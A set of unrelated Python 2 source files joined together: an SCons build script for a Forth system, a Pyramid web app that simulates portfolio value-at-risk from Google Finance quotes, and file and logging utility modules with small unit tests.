classmethod(outputfrom) env.AddMethod(CppAsm) env.AddMethod(Ins) env.AddMethod(Run) env.AddMethod(TimedRun) env.SConscript('SConscript.ffi', variant_dir = 'obj', exports=['env'], duplicate = 0) sc = 'SConscript' if ring0: sc += '.ring0' env['files'] = ARGUMENTS.get('files', 1) env['allocate'] = ARGUMENTS.get('allocate', 1) env['fixed'] = ARGUMENTS.get('fixed', 1) env['ffi'] = ARGUMENTS.get('ffi', 1) env['moreprims'] = ARGUMENTS.get('moreprims', 1) env['profile'] = ARGUMENTS.get('profile', 0) env.SConscript(sc, variant_dir = 'obj', exports=['env'], duplicate = 0)
Python
Import('env') fenv = env.Clone() fenv.Append(CPPDEFINES=[ ['ASMCALL', { 'arm': '"bl"', 'i386': '"nop;nop;nop;call"', 'mips': '"bal"', 'powerpc': '"bl"', 'x64': '"nop;nop;nop;call"', }[env['ARCH']]], ['ASMCELL', { 'arm': '".long"', 'i386': '".long"', 'mips': '".long"', 'powerpc': '".long"', 'x64': '".quad"', }[env['ARCH']]], ['ASMALIGN', { 'arm': '".balign\ 4"', 'i386': '".p2align\ 2"', 'mips': '".balign\ 4"', 'powerpc': '".align\ 2"', 'x64': '".p2align\ 3"', }[env['ARCH']]], ['BUILD_FILES', fenv['files']], ['BUILD_ALLOCATE', fenv['allocate']], ['BUILD_FIXED', fenv['fixed']], ['BUILD_FFI', fenv['ffi']], ['BUILD_MOREPRIMS', fenv['moreprims']], ['BUILD_PROFILE', fenv['profile']], ]) fenv.Append(CPPPATH=[ 'obj', 'libs/libffi/include', ]) fenv.Append(LIBPATH=['.']) fenv.Append(LIBS=['ffi']) if fenv['OS'] == 'linux': fenv.Append(LIBS=['dl']) for i in fenv.Glob('kernel/*.i'): fenv.Tab(fenv.Basename(i[:-2]) + 'tab.it', i) fenv.Command('arch.h', 'kernel/$ARCH-arch.h', Copy('$TARGET', '${SOURCE.abspath}')) fenv.Asm('finac.S', 'kernel/finac.c') boot = ['sys/' + i for i in Split(""" core.fs defer.fs core2.fs throwmsg.fs based.fs source.fs search.fs coreext.fs """)] full = ['sys/' + i for i in Split(""" core.fs defer.fs core2.fs throwmsg.fs based.fs source.fs signals.fs search.fs coreext.fs searchext.fs module.fs cstr.fs file.fs fileext.fs double.fs doubleext.fs optional.fs string.fs require.fs tools.fs toolsext.fs facility.fs facilityext.fs lineedit.fs assert.fs multi.fs osnice.fs args.fs save.fs ffi.fs c.fs backtrace.fs pipe.fs instinclude.fs help.fs build.fs savefina.fs """)] kerneltests = ['sys/core.fs', 'sys/defer.fs', 'sys/core2.fs'] + \ ['test/' + i for i in Split(""" tester.fs core.fs postpone.fs bye.fs """)] tests = ['test/' + i for i in Split(""" tester.fs core.fs postpone.fs double.fs double2.fs file.fs filehandler.fs pipehandler.fs tcphandler.fs fina.fs multi.fs module.fs struct.fs ffi.fs bye.fs """)] benchmarks = env.Glob('benchmarks/*.fs') def gendict(arch, phase, kernel): meta = ['meta/' + arch + '-tconfig.fs'] + \ ['meta/' + i for i in Split(""" tconfig.fs host-fina.fs meta.fs fina.fs """)] name = 'kernel/' + arch + '-dict' + str(phase) src = fenv.Cat(name + '.fs', boot + meta) fenv.Command('kernel/dict%s.S' % phase, [kernel, src], '${SOURCES[0]} < ${SOURCES[1]} > $TARGET') def genbaredict(arch, kernel): meta = ['meta/' + arch + '-tconfig.fs'] + \ ['meta/' + i for i in Split(""" tconfig.fs host-fina.fs meta.fs fina.fs """)] name = 'kernel/' + arch + '-baredict' src = fenv.Cat(name + '.fs', boot + meta) fenv.Default(fenv.Command(name + '.S', [kernel, src], '${SOURCES[0]} < ${SOURCES[1]} > $TARGET')) k = None if fenv['OS'] == 'win32': ksys = 'nt' else: ksys = 'posix' for phase in range(3): ks = fenv.Cat('kernel/kernel' + str(phase) + '.S', ['finac.S', 'kernel/dict' + str(phase) + '.S']) k = fenv.Program('kernel' + str(phase), [ks, 'kernel/sys' + ksys + '.c', 'kernel/main.c']) if ARGUMENTS.get('test', 0): fenv.Default(fenv.Command('dummy' + str(phase), [k] + kerneltests, 'cat ${SOURCES[1:]} | $SOURCE')) gendict(fenv['ARCH'], phase+1, k) genbaredict('i386', k) fenv.Default(fenv.Command('dummy', 'kernel/dict2.S', Copy('kernel/dict0.S', '$SOURCE'))) fenv.Command('sys/build.fs', [k] + full[:-2], 'echo ": buildstr s\\" ' + \ fenv.OutputFrom('hg id -i') + \ '\\" ;" > $TARGET') fsrc = fenv.Cat('finasrc.fs', full + ['saveaux.fs']) f = fenv.Command('fina', [k, fsrc], ['$SOURCE < ${SOURCES[1]}', 'chmod 777 $TARGET']) if ARGUMENTS.get('test', 0): fenv.Default(fenv.Command('testfina', [f] + tests, '$SOURCE ${SOURCES[1:]}')) allforth = env.Glob('*.fs') + env.Glob('sys/*.fs') + env.Glob('meta/*.fs') anshelp = env.Glob('help/*.help') allhelp = [env.Hlp(i.replace('.fs', '.help'), [i, f]) for i in allforth] toc = env.Command('toc.help', [f] + allhelp, '$SOURCE help/maketoc.fs -e "toc{ ${SOURCES[1:]} }toc bye" > $TARGET') # Installation rules env.Ins('bin', f) env.Ins('share/fina', env.Glob('*.fs')) env.Ins('share/fina/test', tests) env.Ins('share/fina/benchmarks', benchmarks) env.Ins('share/fina/help', [toc] + allhelp + anshelp) env.Ins('share/doc/fina', Split(""" README AUTHORS LICENSE """)) # FFL installation env.Ins('share/fina/ffl', 'ffl/engines/fina/config.fs') env.Ins('share/fina/ffl', env.Glob('ffl/ffl/*.fs')) env.Ins('share/fina/test', env.Glob('ffl/test/*.fs')) env.Ins('share/fina/test', env.Glob('ffl/test/*.xml')) env.Ins('share/fina/test', env.Glob('ffl/test/*.mo')) env.Ins('share/fina/test', env.Glob('ffl/test/*.gz')) env.Ins('share/doc/fina/ffl', ['ffl/' + i for i in Split(''' AUTHORS COPYING ChangeLog NEWS README ''')]) env.Ins('share/doc/fina/ffl/html', env.Glob('ffl/html/*.html')) # Check installation if ARGUMENTS.get('check', 0): env.Run(tests) # Benchmarks if ARGUMENTS.get('bench', 0): for i in benchmarks: env.TimedRun(i)
Python
''' Created on 30.01.2013 @author: Marko ''' def percentile(data, percentile): percentile = percentile array = data array.sort() r = (percentile / 100.0) * (len(array) + 1.0) rindex = int(r) if rindex <= 0: rindex = 1 if rindex <= len(array) - 1: return r % 1 * (array[rindex] - array[rindex - 1]) + array[rindex - 1] else: return array[len(array) - 1]
Python
from sqlalchemy import Column, Integer, Text, ForeignKeyConstraint, ForeignKey, Float, String from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import ( scoped_session, sessionmaker, relationship, ) from zope.sqlalchemy import ZopeTransactionExtension DBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension())) Base = declarative_base() class Keys(Base): __tablename__ = 'keys' key = Column(Text, primary_key=True) def __init__(self, key): self.key = key class Data(Base): __tablename__ = 'data' __table_args__ = ( ForeignKeyConstraint(['key'], ['keys.key']), ) id = Column(Integer, autoincrement=True, primary_key=True) key = Column(Text, ForeignKey('keys.key'), nullable=False) close = Column(Float) date = Column(String) keys = relationship(Keys, primaryjoin=key == Keys.key) def __init__(self, key, close, date): self.key = key self.close = close self.date = date class MyModel(Base): __tablename__ = 'models' id = Column(Integer, primary_key=True) name = Column(Text, unique=True) value = Column(Integer) def __init__(self, name, value): self.name = name self.value = value
Python
''' Created on Jan 17, 2013 @author: dheigl ''' from PeriodicReturns import PeriodicReturns from PeriodicReturnsList import PeriodicReturnsList from Stock import Stock from StockList import StockList from fetchPortfolio import GoogleQuote from IndexedVector import IndexedVector from IndexedVectorList import IndexedVectorList from Simulation import Simulation import random import math from fin2012.RandomizedList import RandomizedList from fin2012.SimulationList import SimulationList def calculateVAR(portfolio): for Stock in StockList.stockList: print Stock.key print Stock.date print Stock.quotes quotes = Stock.quotes pr = PeriodicReturns(Stock.key) for i in xrange(0, len(quotes) - 1): pr.add((math.log(quotes[i + 1] / quotes[i]))) PeriodicReturnsList(pr) '''FEHLERQUELLE''' def IndexPeriodicReturns(): rVector = IndexedVectorList() ''' counter = 0 for i in xrange(len(PeriodicReturnsList.returnsList[0].value)): if i > len(PeriodicReturnsList.returnsList) & counter >= len(PeriodicReturnsList.returnsList): counter = 0 for j in xrange(len(PeriodicReturnsList.returnsList)): item = PeriodicReturnsList.returnsList[j].value[i] rVector.iVectorList[counter].add(item) counter +=1 print rVector''' list = [] for a in PeriodicReturnsList.returnsList: list.append(a.value) indexedList = zip(*list) print indexedList helper = [] print "\n" for i in indexedList: for a in i: helper.append(a) help = 0 if len(helper) % 2: i = len(indexedList) else: i = len(indexedList) - 1 help = 1 start = 0 end = i for anz in xrange(len(PeriodicReturnsList.returnsList) + help): index = IndexedVector(anz) rVector.add(index) for a in helper[start:end]: rVector.iVectorList[anz].add(a) start = end end += i for v in rVector.iVectorList: print v.value def printList(): for IndexedVector in IndexedVectorList.iVectorList: print "KEY: ", IndexedVector.key print "VALUE: ", IndexedVector.value def PrintPeriodicReturns(): for PeriodicReturns in PeriodicReturnsList.returnsList: print PeriodicReturns.key print PeriodicReturns.value def randomize(start=0, end=0): length = len(IndexedVectorList.iVectorList) - 1 for i in xrange(end): rdm = random.randint(start, length) RandomizedList(IndexedVectorList.iVectorList[rdm]) return RandomizedList '''##############TESTDATEN##############''' def randomize1(start=0, end=0): RandomizedList(IndexedVectorList.iVectorList[4]) RandomizedList(IndexedVectorList.iVectorList[4]) RandomizedList(IndexedVectorList.iVectorList[2]) RandomizedList(IndexedVectorList.iVectorList[0]) RandomizedList(IndexedVectorList.iVectorList[1]) RandomizedList(IndexedVectorList.iVectorList[1]) RandomizedList(IndexedVectorList.iVectorList[3]) RandomizedList(IndexedVectorList.iVectorList[1]) for vector in RandomizedList.rList: print vector.key print vector.value return RandomizedList if __name__ == '__main__': symbols = ['GOOG', 'MSFT', 'AMZN'] data = GoogleQuote().getData(symbols, '2012-01-01') calculateVAR(data) PrintPeriodicReturns() IndexPeriodicReturns() printList() print "\n" simList = SimulationList() for i in range(10): r = randomize(0, 10) s = Simulation() s.simulate(r) simList.add(s) RandomizedList.rList = [] print ""
Python
''' Created on Dec 19, 2012 @author: dheigl ''' from Stock import Stock from StockList import StockList import datetime import json import urllib class GoogleQuote: ''' Daily quotes from Google. Date format='yyyy-mm-dd' ''' def getData(self, symbol, start_date, end_date=datetime.date.today().isoformat()): start = datetime.date(int(start_date[0:4]), int(start_date[5:7]), int(start_date[8:10])) end = datetime.date(int(end_date[0:4]), int(end_date[5:7]), int(end_date[8:10])) for s in symbol: s = s.upper() print "fetching data for " + s url_string = "http://www.google.com/finance/historical?q={0}".format(s) url_string += "&startdate={0}&enddate={1}&output=csv".format( start.strftime('%b %d, %Y'), end.strftime('%b %d, %Y')) csv = urllib.urlopen(url_string).readlines() csv.reverse() date = [] quotes = [] for bar in xrange(0, len(csv) - 1): ds, open_, high, low, close, volume = csv[bar].rstrip().split(',') close = float(close) '''open_, high, low, close = [float(x) for x in [open_, high, low, close]]''' dt = datetime.datetime.strptime(ds, '%d-%b-%y') ds = str(dt.strftime("%d.%m.%Y")) # .split(',') # ds = datetime.date(int(year), int(month), int(day)) '''datetime.datetime.strptime(ds, '%d-%b-%y')''' date.append(ds) quotes.append(float(close)) ''' s = Symbol i.e. GOOG date = Date i.e. 29.01.2013 quotes = values of close i.e. 100.0 quotes[-1] = last element of close, used for actualValue ''' try: stock = Stock(s, date, quotes, quotes[-1]) except: print "UPS da ist was schiefgegangen mit den Aktien..." '''WIEDER AUSKOMMENTIEREN!!!''' StockList(stock) '''TESTDATEN StockList(Stock('GRT', ['29.02.2008', '03.03.2008', '04.03.2008', '05.03.2008', '06.03.2008', '07.03.2008'], [10.0, 11.0, 10.5, 11.0, 12.0, 13.0], 15.0)) StockList(Stock('BOC', ['29.02.2008', '03.03.2008', '04.03.2008', '05.03.2008', '06.03.2008', '07.03.2008'], [8.0, 7.0, 8.0, 9.0, 10.0, 11.0], 14.0)) StockList(Stock('JOE', ['29.02.2008', '03.03.2008', '04.03.2008', '05.03.2008', '06.03.2008', '07.03.2008'], [10.0, 11.0, 12.0, 12.5, 13.0, 13.5], 20.0)) StockList(Stock('MAD', ['29.02.2008', '03.03.2008', '04.03.2008', '05.03.2008', '06.03.2008', '07.03.2008'], [15.0, 14.0, 16.0, 15.0, 16.0, 17.0], 21.0)) ''' print "fetched" return StockList.stockList if __name__ == '__main__': quote = GoogleQuote() symbols = ['GOOG', 'MSFT', 'AMZN'] data = quote.getData(symbols, '2012-01-21') for Stock in data: print Stock.key print Stock.date print Stock.quotes
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class IndexedVectorList(object): ''' classdocs ''' iVectorList = [] def add(self, indexedVector): self.iVectorList.append(indexedVector) def __init__(self): ''' Constructor ''' print "NEW IndexedVectorList"
Python
import unittest import transaction from pyramid import testing from .models import DBSession class TestMyView(unittest.TestCase): def setUp(self): self.config = testing.setUp() from sqlalchemy import create_engine engine = create_engine('sqlite://') from .models import ( Base, MyModel, ) DBSession.configure(bind=engine) Base.metadata.create_all(engine) with transaction.manager: model = MyModel(name='one', value=55) DBSession.add(model) def tearDown(self): DBSession.remove() testing.tearDown() def test_it(self): from .views import my_view request = testing.DummyRequest() info = my_view(request) self.assertEqual(info['one'].name, 'one') self.assertEqual(info['project'], 'FIN2012')
Python
''' Created on Jan 27, 2013 @author: dheigl ''' from IndexedVectorList import IndexedVectorList from RandomizedList import RandomizedList from StockList import StockList from fin2012.SimulationList import SimulationList from os import path import csv import math import os class Simulation: ''' classdocs ''' def __init__(self): ''' Constructor ''' def kil(self): del self def chunks1(self, l, n): return [l[i:i + n] for i in range(0, len(l), n)] def appendtoCSV(self,data): fd = open('fin2012/static/data.csv','a') wr = csv.writer(fd, quoting=csv.QUOTE_NONE) for row in data: wr.writerow(row) fd.close() def simulate(self, randomizedList, n): actualValue = [] erg = 0.0 for v in StockList.stockList: actualValue.append(v.actualValue) # print v.actualValue a = 0.0 b = 0.0 helper = [] helper2 = [] counter = 0 for j in xrange(n): print "n + ", j + 1 sum = 0.0 del helper[:] for i in xrange(len(StockList.stockList)): a = actualValue[i] b = math.exp(randomizedList.rList[j].value[i]) # print "\n actualValue[i]= ", actualValue[i] , " * math.exp(randomizedList.rList[i].value[i]= ", randomizedList.rList[i].value[i], "erg= ", actualValue[i] * math.exp(randomizedList.rList[i].value[i]) erg = a * b print erg, " = \t\t", a , " * \t e**", randomizedList.rList[j].value[i] helper.append(erg) sum += erg counter = 0 print "Summe: ", sum '''#######variabel gestalten#######helper[0]''' for value in helper: helper2.append(value) counter += 1 del actualValue[:] actualValue.extend(helper) print "--------------" SimulationList.summe.append(sum) keys = [] for stock in StockList.stockList: keys.append(stock.key) keys.reverse() for key in keys: helper2.insert(0, key) chunkedList = self.chunks1(helper2, len(StockList.stockList)) cachedList = zip(*chunkedList) ergList = [] pwd = os.getcwd()+"/fin2012/static/data.csv" if path.exists(pwd) and path.isfile(pwd): '''restliche Zeilen''' data = [] for erg in cachedList: data.append(erg) self.appendtoCSV(data) else: data = open('fin2012/static/data.csv','wb') wr = csv.writer(data, quoting=csv.QUOTE_NONE) stockKeys = [] '''erste Zeile''' anz = [] for i in xrange(n+1): anz.append(i) wr.writerow(anz) '''restliche Zeilen''' for erg in cachedList: wr.writerow(erg)
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class PeriodicReturns: ''' classdocs ''' def add(self, value): self.value.append(value) def __init__(self, key): self.key = key self.value = [] def get_key(self): return self.__key def set_key(self, value): self.__key = value def del_key(self): del self.__key def get_value(self): return self.__value def set_value(self, value): self.__value = value def del_value(self): del self.__value key = property(get_key, set_key, del_key, "key's docstring") value = property(get_value, set_value, del_value, "value's docstring")
Python
import os import sys import transaction from sqlalchemy import engine_from_config from pyramid.paster import ( get_appsettings, setup_logging, ) from ..models import ( DBSession, MyModel, Base, ) def usage(argv): cmd = os.path.basename(argv[0]) print('usage: %s <config_uri>\n' '(example: "%s development.ini")' % (cmd, cmd)) sys.exit(1) def main(argv=sys.argv): if len(argv) != 2: usage(argv) config_uri = argv[1] setup_logging(config_uri) settings = get_appsettings(config_uri) engine = engine_from_config(settings, 'sqlalchemy.') DBSession.configure(bind=engine) Base.metadata.create_all(engine) with transaction.manager: model = MyModel(name='one', value=1) DBSession.add(model)
Python
# package
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class Stock: def __init__(self, key, date, quotes, actualValue=0.0): self.key = key self.date = date self.quotes = quotes self.actualValue = actualValue def get_actual_value(self): return self.__actualValue def set_actual_value(self, value): self.__actualValue = value def del_actual_value(self): del self.__actualValue def get_key(self): return self.__key def get_date(self): return self.__date def get_quotes(self): return self.__quotes def set_key(self, value): self.__key = value def set_date(self, value): self.__date = value def set_quotes(self, value): self.__quotes = value def del_key(self): del self.__key def del_date(self): del self.__date def del_quotes(self): del self.__quotes key = property(get_key, set_key, del_key, "Name of the stock i.e. 'GOOG'") date = property(get_date, set_date, del_date, "Date of the stock") quotes = property(get_quotes, set_quotes, del_quotes, "Close value of the stock") actualValue = property(get_actual_value, set_actual_value, del_actual_value, "actualValue's docstring")
Python
''' Created on Jan 30, 2013 @author: dheigl ''' from fin2012.RandomizedList import RandomizedList from fin2012.Simulation import Simulation from fin2012.SimulationList import SimulationList from fin2012.fetchPortfolio import GoogleQuote import CalculateValueAtRisk import datetime class Start(): ''' classdocs ''' _instance = None def __new__(cls, *args, **kwargs): if not cls._instance: cls._instance = super(Start, cls).__new__( cls, *args, **kwargs) return cls._instance def getSymbols(self): return self.symbols def generateData(self, count=20, future=8, startdate='2012-01-01', enddate=datetime.date.today().isoformat()): symbols = self.getSymbols() data = GoogleQuote().getData(symbols, startdate, enddate) CalculateValueAtRisk.calculateVAR(data) CalculateValueAtRisk.PrintPeriodicReturns() CalculateValueAtRisk.IndexPeriodicReturns() CalculateValueAtRisk.printList() print "\n" simList = SimulationList() for i in range(count): r = CalculateValueAtRisk.randomize(0, count) s = Simulation() s.simulate(r, future) simList.add(s) RandomizedList.rList = [] def __init__(self, symbols): ''' Constructor ''' self.symbols = symbols
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class RandomizedList: ''' classdocs ''' rList = [] def add(self, indexedVector): RandomizedList.rList.append(indexedVector) def kill(self): del self def __init__(self, indexedVector): print "********NEW RANDOMIZEDLIST************" self.add(indexedVector)
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class IndexedVector(object): ''' classdocs ''' def add(self, value): self.value.append(value) def __init__(self, key): ''' Constructor ''' self.key = key self.value = [] def get_key(self): return self.__key def get_value(self): return self.__value def set_key(self, value): self.__key = value def set_value(self, value): self.__value = value def del_key(self): del self.__key def del_value(self): del self.__value key = property(get_key, set_key, del_key, "key's docstring") value = property(get_value, set_value, del_value, "value's docstring")
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class SimulationList: ''' classdocs ''' simList =[] summe = [] def add(self, simulation): SimulationList.simList.append(simulation) def __init__(self): ''' Constructor '''
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class PeriodicReturnsList(object): ''' classdocs ''' returnsList = [] def add(self, returns): PeriodicReturnsList.returnsList.append(returns) def __init__(self, returns): self.add(returns)
Python
from pyramid.config import Configurator from sqlalchemy import engine_from_config from .models import ( DBSession, Base, ) help = 0 symbols = [] settings = [] def main(global_config, **settings): """ This function returns a Pyramid WSGI application. """ engine = engine_from_config(settings, 'sqlalchemy.') DBSession.configure(bind=engine) Base.metadata.bind = engine config = Configurator(settings=settings) config.add_static_view('static', 'static', cache_max_age=3600) config.add_route('home', '/') config.add_route('chart', 'chart') config.add_route('chartvar', 'chartvar') config.add_route('getUserInput', 'getUserInput') config.scan() return config.make_wsgi_app()
Python
from .models import DBSession, MyModel from IndexedVector import IndexedVector from IndexedVectorList import IndexedVectorList from PeriodicReturns import PeriodicReturns from PeriodicReturnsList import PeriodicReturnsList from RandomizedList import RandomizedList from Simulation import Simulation from SimulationList import SimulationList from Stock import Stock from StockList import StockList from fetchPortfolio import GoogleQuote from pyramid.response import Response from pyramid.view import view_config from sqlalchemy.exc import DBAPIError import CalculateValueAtRisk from Start import * import percentile import __init__ import os import sys from pyramid.httpexceptions import HTTPFound @view_config(route_name='chartvar', renderer='templates/chartvar.pt') def chartvar(request, permission='view'): erg = [] for summe in SimulationList.summe: erg.append(summe) perc = percentile.percentile(erg, 5) return {'erg': erg, 'percentile':perc, 'length': len(erg)} @view_config(route_name='chart', renderer='templates/chart.pt') def chart(request, permission='view'): # return HTTPFound(location=request.route_url('chart', # pagename='Chart')) count = 0 future = 0 startdate = '' enddate = '' pwd = os.getcwd() + "/fin2012/static/data.csv" try: os.remove(pwd) except: pass try: deleteObjects() except: pass if __init__.symbols and __init__.settings: start = Start(__init__.symbols) count, future, startdate, enddate = __init__.settings #start.generateData(int(a['count']), int(a['future']), a['startdate'], a['enddate']) start.generateData(int(count),int(future),startdate,enddate) else: symbols = ['MSFT', 'YHOO'] start = Start(symbols) start.generateData() __init__.help = 1 ''' symbols = DBSession.query(Keys).all() symbolList = [] for s in symbols: symbolList.append(s.key) start_date = '2012-01-01' end_date = datetime.date.today().isoformat() #g = GoogleQuote().getData(symbolList, start_date, end_date)''' settings = {'count':count,'future':future,'startdate':startdate,'enddate':enddate} return settings @view_config(route_name='getUserInput', renderer='') def getUserInput(request): symbols = request.POST['symbols'] count = request.POST['count'] future = request.POST['future'] startdate = request.POST['startdate'] enddate = request.POST['enddate'] pwd = os.getcwd() + "/fin2012/static/data.csv" try: os.remove(pwd) except: pass deleteObjects() __init__.symbols = [] for s in symbols.split(','): __init__.symbols.append(str(s)) # self, count=10, future=8, startdate='2012-01-01', enddate=datetime.date.today().isoformat(), start=0, end=10 #start = Start(__init__.symbols) #start.generateData(int(count), int(future), startdate, enddate) __init__.settings = [count, future, startdate, enddate] chart(request,'view') url = request.route_url('chart') return HTTPFound(location=url) def deleteObjects(): for index in IndexedVectorList.iVectorList: del index for index in PeriodicReturnsList.returnsList: del index for index in RandomizedList.rList: del index for index in StockList.stockList: del index IndexedVectorList.iVectorList = [] PeriodicReturnsList.returnsList = [] RandomizedList.rList = [] StockList.stockList = [] SimulationList.simList = [] SimulationList.summe = [] @view_config(route_name='home', renderer='templates/mytemplate.pt') def my_view(request): try: one = DBSession.query(MyModel).filter(MyModel.name == 'one').first() except DBAPIError: return Response(conn_err_msg, content_type='text/plain', status_int=500) return {'one': one, 'project': 'FIN2012'} conn_err_msg = """\ Pyramid is having a problem using your SQL database. The problem might be caused by one of the following things: 1. You may need to run the "initialize_FIN2012_db" script to initialize your database tables. Check your virtual environment's "bin" directory for this script and try to run it. 2. Your database server may not be running. Check that the database server referred to by the "sqlalchemy.url" setting in your "development.ini" file is running. After you fix the problem, please restart the Pyramid application to try it again. """
Python
''' Created on Jan 27, 2013 @author: dheigl ''' class StockList: ''' classdocs ''' stockList = [] def add(self, stock): StockList.stockList.append(stock) def __init__(self, stock): self.add(stock) print "########### NEW STOCKLIST ##############"
Python
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README.txt')).read() CHANGES = open(os.path.join(here, 'CHANGES.txt')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', ] setup(name='FIN2012', version='0.0', description='FIN2012', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='', author_email='', url='', keywords='web wsgi bfg pylons pyramid', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='fin2012', install_requires=requires, entry_points="""\ [paste.app_factory] main = fin2012:main [console_scripts] initialize_FIN2012_db = fin2012.scripts.initializedb:main """, )
Python
import os.path import unittest import fimero.core.disk.PathKit as PK class TestPathKit(unittest.TestCase): def test_parent_folder(self): parent_path = PK.parent_folder(__file__) self.assertEqual("disk", os.path.basename(parent_path)) if __name__ == "__main__": unittest.main()
Python
import unittest import fimero.core.disk.TextFileKit as TFK class TestTextFileKit(unittest.TestCase): def test_write_text(self): tf = TFK.make('/tmp/foo.txt') tf.touch() tf.write_text('hello')
Python
#!/usr/bin/env python import unittest import fimero.core.util.LogKit as LogKit import fimero.core.text.TemplateKit as TK LOGGER = LogKit.get_logger(__name__) LOGGER.debug('from initialize') class TestTemplateKit(unittest.TestCase): def test_lookup_template(self): template = TK.lookup_template('mytemp.mako') self.assertFalse(None == template) def test_populate_template(self): args = {} args['name'] = 'alice' args['colors'] = ['red', 'green', 'blue'] buf = TK.render_template('mytemp.mako', args) value = buf.getvalue() self.assertTrue(len(value) > 10) LOGGER.debug(value) if __name__ == "__main__": unittest.main()
Python
import unittest import sys import logging import fimero.core.util.LogKit as LogKit LOGGER = LogKit.get_logger('test') class TestLogKit(unittest.TestCase): def test_logger(self): LOGGER.warn('this is a test warning') if __name__ == "__main__": unittest.main()
Python
#!/usr/bin/env python """An example script that uses MainKit 'city', 'state', and 'country' are ordered arguments 'country' is optional if a long description is set to a case-insensitive match to itself, no default is set. usage: %prog [options] city state [country] -i, --interact : interactive mode -o, --out=red: print out -1, --option1=OPTION1: print option1 -2, --option2=OPTION2: print option2 """ import sys import fimero.core.util.OptionKit as OptionKit import fimero.core.util.MainKit as MainKit class TScript(MainKit.TMain): def _execute(self, options, args): # evaluate the options and arguments that have been # supplied. if they are not valid, call OptionKit.abort() print options print args if len(args) == 1: OptionKit.abort() def _make_option_parser(self): # customize the parser with any additional restrictions parser = OptionKit.parse(__doc__) choices = ["red", "green", "blue"] OptionKit.restrict_option(parser.get_option("-o"), choices) return parser def __init__(self): MainKit.TMain.__init__(self) self.arg_list = ['arg1', 'arg2'] SCRIPT = TScript() if __name__ == "__main__": sys.exit(SCRIPT.main())
Python
""" FileKit creates file objects. """ import os import shutil import tempfile import fimero.core.disk.PathKit as PathKit import fimero.core.disk.NodeKit as NodeKit import fimero.core.util.LogKit as LogKit from NodeKit import TNode MODE_TEXT = 'r' MODE_TEXT_APPEND = 'a' MODE_TEXT_WRITE = 'w' MODE_BYTE = 'rb' MODE_APPEND_BYTES = 'ab' MODE_WRITE_BYTES = 'wb' LOGGER = LogKit.get_logger(__name__) ################################################################################ # Classes ################################################################################ class TFile(TNode): """ TFile is the base file type. """ def __init__(self, path): """Initialize file instance with path.""" TNode.__init__(self, path) def copy(self, path): """copy this file to path. Returns destination path.""" path = PathKit.make(path) LOGGER.debug("Source: " + repr(self.path) + " to " + repr(path)) shutil.copyfile(repr(self.path), repr(path)) return path def delete(self): """delete this file.""" os.remove(repr(self.path)) def get_handle(self, mode): """returns a handle to the underlying file with the specified mode.""" return file(repr(self.path), mode) def read_bytes(self): """open this file, read all bytes, close file, return bytes.""" handle = self.get_handle(MODE_BYTE) try: return handle.read() finally: handle.close() def write_bytes(self, bytes, mode=MODE_WRITE_BYTES): """open this file and write the specified bytes, clobbering existing data.""" handle = self.get_handle(mode) try: handle.write(bytes) finally: handle.close() def append_bytes(self, bytes): """open this file and append the specified bytes.""" self.write_bytes(bytes, MODE_APPEND_BYTES) def touch(self): """If path doesn't exist, create an empty file. If it does exist, update its utime.""" if not self.exists(): handle = os.open(repr(self), os.O_WRONLY | os.O_CREAT, 0666) os.close(handle) os.utime(repr(self), None) # TODO : Move to TextFileKit #class TTextFile(TFile): # """ # TTextFile represents a text file. # """ # def __init__(self, path): # """Initialize the text file instance with specified path.""" # TFile.__init__(self, path) # # def read_text(self): # """Read all the file's text in one go.""" # handle = self.get_handle(MODE_TEXT) # try: # return handle.read() # finally: # handle.close() # # def readlines(self): # """Return lines of text as a list.""" # return self.get_handle(MODE_TEXT).readlines() ################################################################################ # Module methods ################################################################################ def make(path): """make a new File instance.""" path = PathKit.make(path) return TFile(path) def make_temp(): """makes a temporary file.""" filename = tempfile.mkstemp()[1] return make(filename) def as_file(f, mode='r'): """ fn -- something that could represent a file. mode -- file-mode to use to open the file. returns -- fn as a file. """ try: # quack like a file? f.tell() return f except: newf = file(f, mode) return newf
Python
""" Base file system node Includes all elements on a file system including folders, files and links. """ import shutil class TNode(object): """ A TNode is a common base class for file system objects. """ def __init__(self, path): """Initializes this node with the specified path instance.""" self.path = path def __repr__(self): """Create a full string representation of object.""" return repr(self.path) def get_path(self): """Return path for node.""" return self.path def exists(self): """Returns true if node exists on file system.""" return self.path.exists() def touch(self): """Create node if it doesn't exist. A node is abstract so we do nothing.""" pass def delete(self): """Delete this node.""" pass
Python
""" TextFileKit creates text file objects that can be manipulated accordingly. """ import fimero.core.disk.PathKit as PathKit import fimero.core.disk.FileKit as FileKit import fimero.core.util.LogKit as LogKit LOG = LogKit.get_logger(__name__) class TTextFile(FileKit.TFile): """ TTextFile represents a text file. """ def __init__(self, path): """Initialize the text file instance with specified path.""" FileKit.TFile.__init__(self, path) def read_text(self): """Read all the file's text in one go.""" handle = self.get_handle(FileKit.MODE_TEXT) try: return handle.read() finally: handle.close() def write_text(self, text): """Write text (overwriting any existing data)""" handle = self.get_handle(FileKit.MODE_TEXT_WRITE) try: handle.write(text) finally: handle.close() def readlines(self): """Return lines of text as a list.""" return self.get_handle(FileKit.MODE_TEXT).readlines() def lines(self): """Returns total number of lines.""" return len(self.get_handle(FileKit.MODE_TEXT).readlines()) def make(path): """Make a new text file instance.""" path = PathKit.make(path) return TTextFile(path)
Python
